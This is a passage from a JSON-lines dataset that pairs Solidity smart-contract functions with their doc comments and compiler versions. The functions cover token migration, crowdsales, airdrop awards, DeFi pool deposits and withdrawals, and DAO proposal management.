Q3_details.required_collateral;\r\n\r\n uint256 miner_revenue =\r\n safemath.div(Q3_details.intermediateActualMinerEarnings, multiple);\r\n if ((hedged_revenue > miner_revenue)) {\r\n uint256 alpha_token_payout =\r\n safemath.min(\r\n safemath.sub(hedged_revenue, miner_revenue),\r\n required_collateral\r\n );\r\n uint256 omega_token_payout =\r\n safemath.sub(required_collateral, alpha_token_payout);\r\n Q3_details.alpha_token.set_payout(alpha_token_payout);\r\n Q3_details.omega_token.set_payout(omega_token_payout);\r\n } else {\r\n Q3_details.alpha_token.set_payout(0);\r\n Q3_details.omega_token.set_payout(required_collateral);\r\n }\r\n }", "version": "0.7.3"} {"comment": "// If any address accidentally sends any ERC20 token to this address,\n// they can contact us. Off-chain we will verify that the address did\n// in fact accidentally send tokens and return them.", "function_code": "function anyTokenTransfer(\r\n IERC20 token,\r\n uint256 num,\r\n address to\r\n ) external returns (bool success) {\r\n require(\r\n (msg.sender == KladeAddress1 || msg.sender == KladeAddress2),\r\n \"Only Klade can recover tokens\"\r\n );\r\n return token.transfer(to, num);\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * @dev Migrate a users' entire balance\r\n *\r\n * One way function. SAFE1 tokens are BURNED. SAFE2 tokens are minted.\r\n */", "function_code": "function migrate() external {\r\n require(block.timestamp >= startTime, \"SAFE2 migration has not started\");\r\n require(block.timestamp < startTime + migrationDuration, \"SAFE2 migration has ended\");\r\n\r\n // Current balance of SAFE for user.\r\n uint256 safeBalance = SAFE(safe).balanceOf(_msgSender());\r\n\r\n // Make sure we don't migrate 0 balance.\r\n require(safeBalance > 0, \"No SAFE\");\r\n\r\n\r\n // BURN SAFE1 - UNRECOVERABLE.\r\n SafeERC20.safeTransferFrom(\r\n IERC20(safe),\r\n _msgSender(),\r\n 0x000000000000000000000000000000000000dEaD,\r\n safeBalance\r\n );\r\n\r\n // Mint new SAFE2 for the user.\r\n SAFE2(safe2).mint(_msgSender(), safeBalance);\r\n }", "version": "0.6.12"} {"comment": "//utility for calculating (approximate) square roots. simple implementation of Babylonian method\n//see: https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method", "function_code": "function sqrt(uint x)\r\n internal\r\n pure\r\n returns (uint y)\r\n{\r\n uint z = (x + 1) / 2;\r\n y = x;\r\n while (z < y)\r\n {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n}", "version": "0.5.12"} {"comment": "//user buys token with ETH", "function_code": "function buy() payable {\r\n if(sellsTokens || msg.sender == owner) \r\n {\r\n uint order = msg.value / sellPrice; \r\n uint can_sell = ERC20(asset).balanceOf(address(this)) / units;\r\n\r\n if(order > can_sell)\r\n {\r\n uint256 change = msg.value - (can_sell * sellPrice);\r\n order = can_sell;\r\n if(!msg.sender.send(change)) throw;\r\n }\r\n\r\n if(order > 0) {\r\n if(!ERC20(asset).transfer(msg.sender,order * units)) throw;\r\n }\r\n UpdateEvent();\r\n }\r\n else if(!msg.sender.send(msg.value)) throw; // return user funds if the contract is not selling\r\n }", "version": "0.4.11"} {"comment": "// called once by the factory at time of deployment", "function_code": "function initialize(\r\n address _pair,\r\n uint256 _unstakingFrozenTime,\r\n address _rewardFund,\r\n address _timelock\r\n ) external override {\r\n require(_initialized == false, \"StakePool: Initialize must be false.\");\r\n require(unstakingFrozenTime <= 30 days, \"StakePool: unstakingFrozenTime > 30 days\");\r\n pair = _pair;\r\n unstakingFrozenTime = _unstakingFrozenTime;\r\n rewardFund = _rewardFund;\r\n timelock = _timelock;\r\n _initialized = true;\r\n }", "version": "0.7.6"} {"comment": "//insert new investor ", "function_code": "function insert(address addr, uint value) public returns (bool) {\r\n uint keyIndex = d.investors[addr].keyIndex;\r\n if (keyIndex != 0) return false;\r\n d.investors[addr].value = value;\r\n keyIndex = d.keys.length++;\r\n d.investors[addr].keyIndex = keyIndex;\r\n d.keys[keyIndex] = addr;\r\n updateBestInvestor(addr, d.investors[addr].value);\r\n \r\n return true;\r\n }", "version": "0.4.25"} {"comment": "//functions is calling when transfer money to address of this contract", "function_code": "function() public payable {\r\n // investor get him dividends when send value = 0 to address of this contract\r\n if (msg.value == 0) {\r\n getDividends();\r\n return;\r\n }\r\n\r\n // getting referral address from data of request \r\n address a = msg.data.toAddr();\r\n //call invest function\r\n invest(a);\r\n }", "version": "0.4.25"} {"comment": "// private function for get dividends", "function_code": "function _getMydividends(bool withoutThrow) private {\r\n // get investor info\r\n Storage.investor memory investor = getMemInvestor(msg.sender);\r\n //check if investor exists\r\n if(investor.keyIndex <= 0){\r\n if(withoutThrow){\r\n return;\r\n }\r\n revert(\"sender is not investor\");\r\n }\r\n\r\n // calculate how many days have passed after last payment\r\n uint256 daysAfter = now.sub(investor.paymentTime).div(dividendsPeriod);\r\n if(daysAfter <= 0){\r\n if(withoutThrow){\r\n return;\r\n }\r\n revert(\"the latest payment was earlier than dividends period\");\r\n }\r\n assert(strg.setPaymentTime(msg.sender, now));\r\n\r\n // calc valaue of dividends\r\n uint value = Math.div(Math.mul(dividends.val,investor.value),dividends.den) * daysAfter;\r\n // add referral bonus to dividends\r\n uint divid = value+ investor.refBonus; \r\n // check if enough money on balance of contract for payment\r\n if (address(this).balance < divid) {\r\n startNewWave();\r\n return;\r\n }\r\n \r\n // send dividends and ref bonus\r\n if (investor.refBonus > 0) {\r\n assert(strg.setRefBonus(msg.sender, 0));\r\n //send dividends and referral bonus to investor\r\n msg.sender.transfer(value+investor.refBonus);\r\n } else {\r\n //send dividends to investor\r\n msg.sender.transfer(value);\r\n } \r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Enables any address to set the strike price for an associated LSP.\n * @param longShortPair address of the LSP.\n * @param strikePrice the strike price for the covered call for the associated LSP.\n * @param basePercentage the base percentage of collateral per pair paid out to long tokens, expressed\n * with 1e18 decimals. E.g., a 50% base percentage should be expressed 500000000000000000, or 0.5 with\n * 1e18 decimals. The base percentage cannot be set to 0.\n * @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.\n * c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.\n * d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.\n * e) longShortPair must expose an expirationTimestamp method to validate it is correctly deployed.\n */", "function_code": "function setLongShortPairParameters(\n address longShortPair,\n uint256 strikePrice,\n uint256 basePercentage\n ) public nonReentrant() {\n require(ExpiringContractInterface(longShortPair).expirationTimestamp() != 0, \"Invalid LSP address\");\n SuccessTokenLongShortPairParameters memory params = longShortPairParameters[longShortPair];\n require(params.strikePrice == 0 && params.basePercentage == 0, \"Parameters already set\");\n require(strikePrice != 0 && basePercentage != 0, \"Base percentage and strike price cannot be set to 0\");\n\n longShortPairParameters[longShortPair] = SuccessTokenLongShortPairParameters({\n strikePrice: strikePrice,\n basePercentage: basePercentage\n });\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Settle the bid for the swap pair. \r\n */", "function_code": "function FeswaPairSettle(uint256 tokenID) external {\r\n require(msg.sender == ownerOf(tokenID), 'FESN: NOT TOKEN OWNER'); // ownerOf checked if tokenID existing\r\n \r\n FeswaPair storage pairInfo = ListPools[tokenID]; \r\n if(pairInfo.poolState == PoolRunningPhase.BidPhase){\r\n require(block.timestamp > pairInfo.timeCreated + OPEN_BID_DURATION, 'FESN: BID ON GOING'); \r\n } else {\r\n require(pairInfo.poolState == PoolRunningPhase.BidDelaying, 'FESN: BID COMPLETED'); \r\n require(block.timestamp > pairInfo.lastBidTime + CLOSE_BID_DELAY, 'FESN: BID ON GOING');\r\n }\r\n\r\n // could prevent recursive calling\r\n pairInfo.poolState = PoolRunningPhase.BidSettled;\r\n\r\n // Airdrop to the first tender\r\n TransferHelper.safeTransfer(FeswapToken, msg.sender, pairInfo.currentPrice.mul(AIRDROP_RATE_FOR_WINNER));\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * @dev Sell the Pair with the specified Price. \r\n */", "function_code": "function FeswaPairForSale(uint256 tokenID, uint256 pairPrice) external returns (uint256 newPrice) {\r\n require(msg.sender == ownerOf(tokenID), 'FESN: NOT TOKEN OWNER'); // ownerOf checked if tokenID existing\r\n \r\n FeswaPair storage pairInfo = ListPools[tokenID]; \r\n require(pairInfo.poolState >= PoolRunningPhase.BidSettled, 'FESN: BID NOT SETTLED'); \r\n\r\n if(pairPrice != 0){\r\n require(pairPrice <= MAX_SALE_PRICE, 'FESN: PRICE TOO HIGH'); \r\n pairInfo.poolState = PoolRunningPhase.PoolForSale;\r\n pairInfo.currentPrice = pairPrice;\r\n } else {\r\n pairInfo.poolState = PoolRunningPhase.PoolHolding;\r\n }\r\n \r\n return pairPrice;\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * @dev Return the token-pair information \r\n */", "function_code": "function getPoolInfoByTokens(address tokenA, address tokenB) external view returns (uint256 tokenID, address nftOwner, FeswaPair memory pairInfo) {\r\n (address token0, address token1) = (tokenA < tokenB) ? (tokenA, tokenB) : (tokenB, tokenA);\r\n tokenID = uint256(keccak256(abi.encodePacked(address(this), token0, token1)));\r\n (nftOwner, pairInfo) = getPoolInfo(tokenID);\r\n }", "version": "0.7.0"} {"comment": "/*\n * main function for receiving the ETH from the investors\n * and transferring tokens after calculating the price\n */", "function_code": "function buyTokens(address _buyer, uint256 _value) internal {\n\n // prevent transfer to 0x0 address\n require(_buyer != 0x0);\n\n // msg value should be more than 0\n require(_value > 0);\n\n // total tokens equal price is multiplied by the ether value provided \n uint tokens = (SafeMath.mul(_value, price));\n\n // tokens should be less than or equal to available for sale\n require(tokens <= balances[addressOwner]);\n \n addressETHDepositDevelop.transfer(SafeMath.div(SafeMath.mul(_value,25),100));\n addressETHDepositMarket.transfer(SafeMath.div(SafeMath.mul(_value, 50),100));\n \n addressETHWeeklyRecomm.transfer(SafeMath.div(SafeMath.mul(_value, 75),1000));\n addressETHDailyMarket.transfer(SafeMath.div(SafeMath.mul(_value, 75),1000));\n addressETHWeeklyComprh.transfer(SafeMath.div(SafeMath.mul(_value, 10),100));\n \n balances[_buyer] = SafeMath.add( balances[_buyer], tokens);\n balances[addressOwner] = SafeMath.sub(balances[addressOwner], tokens);\n emit Transfer(this, _buyer, tokens );\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Constructor, takes crowdsale opening and closing times.\r\n * @param _openingTime crowdsale opening time\r\n * @param _closingTime crowdsale closing time\r\n * @param _rate Number of token units a buyer gets per wei\r\n * @param _wallet Address where collected funds will be forwarded to\r\n * @param _remainingTokensWallet remaining tokens wallet\r\n * @param _cap Max amount of wei to be contributed\r\n * @param _lockingRatio locking ratio except bunus\r\n * @param _token Address of the token being sold\r\n */", "function_code": "function DagtCrowdsale(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, address _remainingTokensWallet, uint256 _cap, uint _lockingRatio, MintableToken _token) public\r\n Crowdsale(_rate, _wallet, _token)\r\n CappedCrowdsale(_cap)\r\n TimedCrowdsale(_openingTime, _closingTime) {\r\n \r\n require(_remainingTokensWallet != address(0));\r\n remainingTokensWallet = _remainingTokensWallet;\r\n setLockedRatio(_lockingRatio);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * * @dev Computes bonus based on time of contribution relative to the beginning of crowdsale\r\n * @return bonus \r\n */", "function_code": "function computeTimeBonus(uint256 _time) public constant returns(uint256) {\r\n require(_time >= openingTime);\r\n\r\n for (uint i = 0; i < BONUS_TIMES.length; i++) {\r\n if (_time.sub(openingTime) <= BONUS_TIMES[i]) {\r\n return BONUS_TIMES_VALUES[i];\r\n }\r\n }\r\n return 0;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Sets bonuses for time\r\n */", "function_code": "function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner {\r\n require(times.length == values.length);\r\n for (uint i = 0; i + 1 < times.length; i++) {\r\n require(times[i] < times[i+1]);\r\n }\r\n\r\n BONUS_TIMES = times;\r\n BONUS_TIMES_VALUES = values;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Sets bonuses for USD amounts\r\n */", "function_code": "function setBonusesForAmounts(uint256[] amounts, uint32[] values) public onlyOwner {\r\n require(amounts.length == values.length);\r\n for (uint i = 0; i + 1 < amounts.length; i++) {\r\n require(amounts[i] > amounts[i+1]);\r\n }\r\n\r\n BONUS_AMOUNTS = amounts;\r\n BONUS_AMOUNTS_VALUES = values;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Sets the provided edition to either a deactivated state or reduces the available supply to zero\r\n * @dev Only callable from edition artists defined in KODA NFT contract\r\n * @dev Only callable when contract is not paused\r\n * @dev Reverts if edition is invalid\r\n * @dev Reverts if edition is not active in KDOA NFT contract\r\n */", "function_code": "function deactivateOrReduceEditionSupply(uint256 _editionNumber) external whenNotPaused {\r\n (address artistAccount, uint256 _) = kodaAddress.artistCommission(_editionNumber);\r\n require(msg.sender == artistAccount || msg.sender == owner, \"Only from the edition artist account\");\r\n\r\n // only allow them to be disabled if we have not already done it already\r\n bool isActive = kodaAddress.editionActive(_editionNumber);\r\n require(isActive, \"Only when edition is active\");\r\n\r\n // only allow changes if not sold out\r\n uint256 totalRemaining = kodaAddress.totalRemaining(_editionNumber);\r\n require(totalRemaining > 0, \"Only when edition not sold out\");\r\n\r\n // total issued so far\r\n uint256 totalSupply = kodaAddress.totalSupplyEdition(_editionNumber);\r\n\r\n // if no tokens issued, simply disable the edition, burn it!\r\n if (totalSupply == 0) {\r\n kodaAddress.updateActive(_editionNumber, false);\r\n kodaAddress.updateTotalAvailable(_editionNumber, 0);\r\n emit EditionDeactivated(_editionNumber);\r\n }\r\n // if some tokens issued, reduce ths supply so that no more can be issued\r\n else {\r\n kodaAddress.updateTotalAvailable(_editionNumber, totalSupply);\r\n emit EditionSupplyReduced(_editionNumber);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Purchase with token private sales fn\n/// Requires: 1. token amount to transfer,\n/// @param editions number of editions to purchase (needs to have same tokens)", "function_code": "function purchaseWithTokens(uint256 editions) public nonReentrant {\n require(numberSoldPrivate + editions <= numberPrivateSale, \"No sale\");\n require(editions > 0, \"Min 1\");\n // Attempt to transfer tokens for mint\n try\n privateSaleToken.transferFrom(\n msg.sender,\n mintable.owner(),\n PRIVATE_SALE_AMOUNT * editions\n )\n returns (bool success) {\n require(success, \"ERR transfer\");\n while (editions > 0) {\n numberSoldPrivate += 1;\n mintable.mint(msg.sender);\n editions -= 1;\n }\n } catch {\n revert(\"ERR transfer\");\n }\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Award from airdrop\r\n * @param _id Airdrop id\r\n * @param _recipient Recepient of award\r\n * @param _amount0 The token0 amount\r\n * @param _amount1 The token1 amount\r\n * @param _proof Merkle proof to correspond to data supplied\r\n */", "function_code": "function award(uint _id, address _recipient, uint256 _amount0, uint256 _amount1, bytes32[] calldata _proof) public {\r\n Airdrop storage airdrop = airdrops[_id];\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(_recipient, _amount0, _amount1));\r\n require( validate(airdrop.root, _proof, hash), \"Invalid proof\" );\r\n\r\n require( !airdrops[_id].awarded[_recipient], \"Already awarded\" );\r\n\r\n airdrops[_id].awarded[_recipient] = true;\r\n\r\n tokenManager0.mint(_recipient, _amount0);\r\n tokenManager1.mint(_recipient, _amount1);\r\n\r\n emit Award(_id, _recipient, _amount0, _amount1);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @notice Award from multiple airdrops to single recipient\r\n * @param _ids Airdrop ids\r\n * @param _recipient Recepient of award\r\n * @param _amount0s The token0 amounts\r\n * @param _amount1s The token1 amounts\r\n * @param _proofs Merkle proofs\r\n */", "function_code": "function awardFromMany(uint[] calldata _ids, address _recipient, uint[] calldata _amount0s, uint[] calldata _amount1s, bytes32[][] calldata _proofs) public {\r\n\r\n uint totalAmount0;\r\n uint totalAmount1;\r\n\r\n for (uint i = 0; i < _ids.length; i++) {\r\n uint id = _ids[i];\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(_recipient, _amount0s[i], _amount1s[i]));\r\n require( validate(airdrops[id].root, _proofs[i], hash), \"Invalid proof\" );\r\n\r\n require( !airdrops[id].awarded[_recipient], \"Already awarded\" );\r\n\r\n airdrops[id].awarded[_recipient] = true;\r\n\r\n totalAmount0 += _amount0s[i];\r\n totalAmount1 += _amount1s[i];\r\n\r\n emit Award(id, _recipient, _amount0s[i], _amount1s[i]);\r\n }\r\n\r\n tokenManager0.mint(_recipient, totalAmount0);\r\n tokenManager1.mint(_recipient, totalAmount1);\r\n\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @notice Award from airdrop to multiple recipients\r\n * @param _id Airdrop ids\r\n * @param _recipients Recepients of award\r\n * @param _amount0s The karma amount\r\n * @param _amount1s The currency amount\r\n * @param _proofs Merkle proofs\r\n */", "function_code": "function awardToMany(uint _id, address[] calldata _recipients, uint[] calldata _amount0s, uint[] calldata _amount1s, bytes32[][] calldata _proofs) public {\r\n\r\n for (uint i = 0; i < _recipients.length; i++) {\r\n address recipient = _recipients[i];\r\n\r\n if( airdrops[_id].awarded[recipient] )\r\n continue;\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(recipient, _amount0s[i], _amount1s[i]));\r\n if( !validate(airdrops[_id].root, _proofs[i], hash) )\r\n continue;\r\n\r\n airdrops[_id].awarded[recipient] = true;\r\n\r\n tokenManager0.mint(recipient, _amount0s[i]);\r\n tokenManager1.mint(recipient, _amount1s[i]);\r\n\r\n emit Award(_id, recipient, _amount0s[i], _amount1s[i]);\r\n }\r\n\r\n }", "version": "0.8.1"} {"comment": "/**\n * @dev Zunami protocol owner complete all active pending withdrawals of users\n * @param userList - array of users from pending withdraw to complete\n * @param pid - number of the pool from which the funds are withdrawn\n */", "function_code": "function completeWithdrawals(address[] memory userList, uint256 pid)\n external\n onlyOwner\n startedPool(pid)\n {\n require(userList.length > 0, 'Zunami: there are no pending withdrawals requests');\n\n IStrategy strategy = poolInfo[pid].strategy;\n\n address user;\n PendingWithdrawal memory withdrawal;\n for (uint256 i = 0; i < userList.length; i++) {\n user = userList[i];\n withdrawal = pendingWithdrawals[user];\n\n if (balanceOf(user) >= withdrawal.lpShares) {\n if (\n !(\n strategy.withdraw(\n user,\n withdrawal.lpShares,\n poolInfo[pid].lpShares,\n withdrawal.minAmounts\n )\n )\n ) {\n emit FailedWithdrawal(user, withdrawal.minAmounts, withdrawal.lpShares);\n delete pendingWithdrawals[user];\n continue;\n }\n\n uint256 userDeposit = (totalDeposited * withdrawal.lpShares) / totalSupply();\n _burn(user, withdrawal.lpShares);\n poolInfo[pid].lpShares -= withdrawal.lpShares;\n\n totalDeposited -= userDeposit;\n\n emit Withdrawn(user, withdrawal.minAmounts, withdrawal.lpShares);\n }\n\n delete pendingWithdrawals[user];\n }\n }", "version": "0.8.12"} {"comment": "// the callback function is called by Oraclize when the result is ready\n// the oraclize_randomDS_proofVerify modifier prevents an invalid proof to execute this function code:\n// the proof validity is fully verified on-chain", "function_code": "function __callback(bytes32 _queryId, string _result, bytes _proof)\r\n {\r\n \r\n // if we reach this point successfully, it means that the attached authenticity proof has passed!\r\n if (msg.sender != oraclize_cbAddress()) throw;\r\n if(queryIdToIsEthPrice[_queryId]){\r\n eth_price = parseInt(_result)*1000;\r\n }else{\r\n m_Gladiethers.fight(queryIdToGladiator[_queryId],_result);\r\n }\r\n \r\n \r\n }", "version": "0.4.20"} {"comment": "/// @dev Initialize new contract\n/// @param _key the resolver key for this contract\n/// @return _success if the initialization is successful", "function_code": "function init(bytes32 _key, address _resolver)\r\n internal\r\n returns (bool _success)\r\n {\r\n bool _is_locked = ContractResolver(_resolver).locked_forever();\r\n if (_is_locked == false) {\r\n CONTRACT_ADDRESS = address(this);\r\n resolver = _resolver;\r\n key = _key;\r\n require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));\r\n _success = true;\r\n } else {\r\n _success = false;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev deposit in one tx, without waiting complete by dev\n * @return Returns amount of lpShares minted for user\n * @param amounts - user send amounts of stablecoins to deposit\n * @param pid - number of the pool to which the deposit goes\n */", "function_code": "function deposit(uint256[3] memory amounts, uint256 pid)\n external\n whenNotPaused\n startedPool(pid)\n returns (uint256)\n {\n IStrategy strategy = poolInfo[pid].strategy;\n uint256 holdings = totalHoldings();\n\n for (uint256 i = 0; i < amounts.length; i++) {\n if (amounts[i] > 0) {\n IERC20Metadata(tokens[i]).safeTransferFrom(\n _msgSender(),\n address(strategy),\n amounts[i]\n );\n }\n }\n uint256 newDeposited = strategy.deposit(amounts);\n require(newDeposited > 0, 'Zunami: too low deposit!');\n\n uint256 lpShares = 0;\n if (totalSupply() == 0) {\n lpShares = newDeposited;\n } else {\n lpShares = (totalSupply() * newDeposited) / holdings;\n }\n _mint(_msgSender(), lpShares);\n poolInfo[pid].lpShares += lpShares;\n totalDeposited += newDeposited;\n\n emit Deposited(_msgSender(), amounts, lpShares);\n return lpShares;\n }", "version": "0.8.12"} {"comment": "/**\n * @dev withdraw in one tx, without waiting complete by dev\n * @param lpShares - amount of ZLP for withdraw\n * @param minAmounts - array of amounts stablecoins that user want minimum receive\n * @param pid - number of the pool from which the funds are withdrawn\n */", "function_code": "function withdraw(\n uint256 lpShares,\n uint256[3] memory minAmounts,\n uint256 pid\n ) external whenNotPaused startedPool(pid) {\n IStrategy strategy = poolInfo[pid].strategy;\n address userAddr = _msgSender();\n\n require(balanceOf(userAddr) >= lpShares, 'Zunami: not enough LP balance');\n require(\n strategy.withdraw(userAddr, lpShares, poolInfo[pid].lpShares, minAmounts),\n 'Zunami: user lps share should be at least required'\n );\n\n uint256 userDeposit = (totalDeposited * lpShares) / totalSupply();\n _burn(userAddr, lpShares);\n poolInfo[pid].lpShares -= lpShares;\n\n totalDeposited -= userDeposit;\n\n emit Withdrawn(userAddr, minAmounts, lpShares);\n }", "version": "0.8.12"} {"comment": "/**\r\n @notice Check if a certain address is whitelisted to read sensitive information in the storage layer\r\n @dev if the address is an account, it is allowed to read. If the address is a contract, it has to be in the whitelist\r\n */", "function_code": "function senderIsAllowedToRead()\r\n internal\r\n view\r\n returns (bool _senderIsAllowedToRead)\r\n {\r\n // msg.sender is allowed to read only if its an EOA or a whitelisted contract\r\n _senderIsAllowedToRead = (msg.sender == tx.origin) || daoWhitelistingStorage().whitelist(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Calculate the start of a specific milestone of a specific proposal.\r\n @dev This is calculated from the voting start of the voting round preceding the milestone\r\n This would throw if the voting start is 0 (the voting round has not started yet)\r\n Note that if the milestoneIndex is exactly the same as the number of milestones,\r\n This will just return the end of the last voting round.\r\n */", "function_code": "function startOfMilestone(bytes32 _proposalId, uint256 _milestoneIndex)\r\n internal\r\n view\r\n returns (uint256 _milestoneStart)\r\n {\r\n uint256 _startOfPrecedingVotingRound = daoStorage().readProposalVotingTime(_proposalId, _milestoneIndex);\r\n require(_startOfPrecedingVotingRound > 0);\r\n // the preceding voting round must have started\r\n\r\n if (_milestoneIndex == 0) { // This is the 1st milestone, which starts after voting round 0\r\n _milestoneStart =\r\n _startOfPrecedingVotingRound\r\n .add(getUintConfig(CONFIG_VOTING_PHASE_TOTAL));\r\n } else { // if its the n-th milestone, it starts after voting round n-th\r\n _milestoneStart =\r\n _startOfPrecedingVotingRound\r\n .add(getUintConfig(CONFIG_INTERIM_PHASE_TOTAL));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Calculate the actual voting start for a voting round, given the tentative start\r\n @dev The tentative start is the ideal start. For example, when a proposer finish a milestone, it should be now\r\n However, sometimes the tentative start is too close to the end of the quarter, hence, the actual voting start should be pushed to the next quarter\r\n */", "function_code": "function getTimelineForNextVote(\r\n uint256 _index,\r\n uint256 _tentativeVotingStart\r\n )\r\n internal\r\n view\r\n returns (uint256 _actualVotingStart)\r\n {\r\n uint256 _timeLeftInQuarter = getTimeLeftInQuarter(_tentativeVotingStart);\r\n uint256 _votingDuration = getUintConfig(_index == 0 ? CONFIG_VOTING_PHASE_TOTAL : CONFIG_INTERIM_PHASE_TOTAL);\r\n _actualVotingStart = _tentativeVotingStart;\r\n if (timeInQuarter(_tentativeVotingStart) < getUintConfig(CONFIG_LOCKING_PHASE_DURATION)) { // if the tentative start is during a locking phase\r\n _actualVotingStart = _tentativeVotingStart.add(\r\n getUintConfig(CONFIG_LOCKING_PHASE_DURATION).sub(timeInQuarter(_tentativeVotingStart))\r\n );\r\n } else if (_timeLeftInQuarter < _votingDuration.add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE))) { // if the time left in quarter is not enough to vote and claim voting\r\n _actualVotingStart = _tentativeVotingStart.add(\r\n _timeLeftInQuarter.add(getUintConfig(CONFIG_LOCKING_PHASE_DURATION)).add(1)\r\n );\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Migrate this DAO to a new DAO contract\r\n @dev This is the second step of the 2-step migration\r\n Migration can only be done during the locking phase, after the global rewards for current quarter are set.\r\n This is to make sure that there is no rewards calculation pending before the DAO is migrated to new contracts\r\n The addresses of the new Dao contracts have to be provided again, and be double checked against the addresses that were set in setNewDaoContracts()\r\n @param _newDaoContract Address of the new DAO contract\r\n @param _newDaoFundingManager Address of the new DaoFundingManager contract, which would receive the remaining ETHs in this DaoFundingManager\r\n @param _newDaoRewardsManager Address of the new daoRewardsManager contract, which would receive the claimableDGXs from this daoRewardsManager\r\n */", "function_code": "function migrateToNewDao(\r\n address _newDaoContract,\r\n address _newDaoFundingManager,\r\n address _newDaoRewardsManager\r\n )\r\n public\r\n if_root()\r\n ifGlobalRewardsSet(currentQuarterNumber())\r\n {\r\n require(isLockingPhase());\r\n require(daoUpgradeStorage().isReplacedByNewDao() == false);\r\n require(\r\n (daoUpgradeStorage().newDaoContract() == _newDaoContract) &&\r\n (daoUpgradeStorage().newDaoFundingManager() == _newDaoFundingManager) &&\r\n (daoUpgradeStorage().newDaoRewardsManager() == _newDaoRewardsManager)\r\n );\r\n daoUpgradeStorage().updateForDaoMigration();\r\n daoFundingManager().moveFundsToNewDao(_newDaoFundingManager);\r\n daoRewardsManager().moveDGXsToNewDao(_newDaoRewardsManager);\r\n emit MigrateToNewDao(_newDaoContract, _newDaoFundingManager, _newDaoRewardsManager);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Submit a new preliminary idea / Pre-proposal\r\n @dev The proposer has to send in a collateral == getUintConfig(CONFIG_PREPROPOSAL_COLLATERAL)\r\n which he could claim back in these scenarios:\r\n - Before the proposal is finalized, by calling closeProposal()\r\n - After all milestones are done and the final voting round is passed\r\n \r\n @param _docIpfsHash Hash of the IPFS doc containing details of proposal\r\n @param _milestonesFundings Array of fundings of the proposal milestones (in wei)\r\n @param _finalReward Final reward asked by proposer at successful completion of all milestones of proposal\r\n */", "function_code": "function submitPreproposal(\r\n bytes32 _docIpfsHash,\r\n uint256[] _milestonesFundings,\r\n uint256 _finalReward\r\n )\r\n external\r\n payable\r\n {\r\n senderCanDoProposerOperations();\r\n bool _isFounder = is_founder();\r\n\r\n require(MathHelper.sumNumbers(_milestonesFundings).add(_finalReward) <= weiInDao());\r\n\r\n require(msg.value == getUintConfig(CONFIG_PREPROPOSAL_COLLATERAL));\r\n require(address(daoFundingManager()).call.gas(25000).value(msg.value)());\r\n\r\n checkNonDigixFundings(_milestonesFundings, _finalReward);\r\n\r\n daoStorage().addProposal(_docIpfsHash, msg.sender, _milestonesFundings, _finalReward, _isFounder);\r\n daoStorage().setProposalCollateralStatus(_docIpfsHash, COLLATERAL_STATUS_UNLOCKED);\r\n daoStorage().setProposalCollateralAmount(_docIpfsHash, msg.value);\r\n\r\n emit NewProposal(_docIpfsHash, msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Modify a proposal (this can be done only before setting the final version)\r\n @param _proposalId Proposal ID (hash of IPFS doc of the first version of the proposal)\r\n @param _docIpfsHash Hash of IPFS doc of the modified version of the proposal\r\n @param _milestonesFundings Array of fundings of the modified version of the proposal (in wei)\r\n @param _finalReward Final reward on successful completion of all milestones of the modified version of proposal (in wei)\r\n */", "function_code": "function modifyProposal(\r\n bytes32 _proposalId,\r\n bytes32 _docIpfsHash,\r\n uint256[] _milestonesFundings,\r\n uint256 _finalReward\r\n )\r\n external\r\n {\r\n senderCanDoProposerOperations();\r\n require(isFromProposer(_proposalId));\r\n\r\n require(isEditable(_proposalId));\r\n bytes32 _currentState;\r\n (,,,_currentState,,,,,,) = daoStorage().readProposal(_proposalId);\r\n require(_currentState == PROPOSAL_STATE_PREPROPOSAL ||\r\n _currentState == PROPOSAL_STATE_DRAFT);\r\n\r\n checkNonDigixFundings(_milestonesFundings, _finalReward);\r\n\r\n daoStorage().editProposal(_proposalId, _docIpfsHash, _milestonesFundings, _finalReward);\r\n\r\n emit ModifyProposal(_proposalId, _docIpfsHash);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Finalize a proposal\r\n @dev After finalizing a proposal, no more proposal version can be added. Proposer will only be able to change fundings and add more docs\r\n Right after finalizing a proposal, the draft voting round starts. The proposer would also not be able to closeProposal() anymore\r\n (hence, cannot claim back the collateral anymore, until the final voting round passes)\r\n @param _proposalId ID of the proposal\r\n */", "function_code": "function finalizeProposal(bytes32 _proposalId)\r\n public\r\n {\r\n senderCanDoProposerOperations();\r\n require(isFromProposer(_proposalId));\r\n require(isEditable(_proposalId));\r\n checkNonDigixProposalLimit(_proposalId);\r\n\r\n // make sure we have reasonably enough time left in the quarter to conduct the Draft Voting.\r\n // Otherwise, the proposer must wait until the next quarter to finalize the proposal\r\n require(getTimeLeftInQuarter(now) > 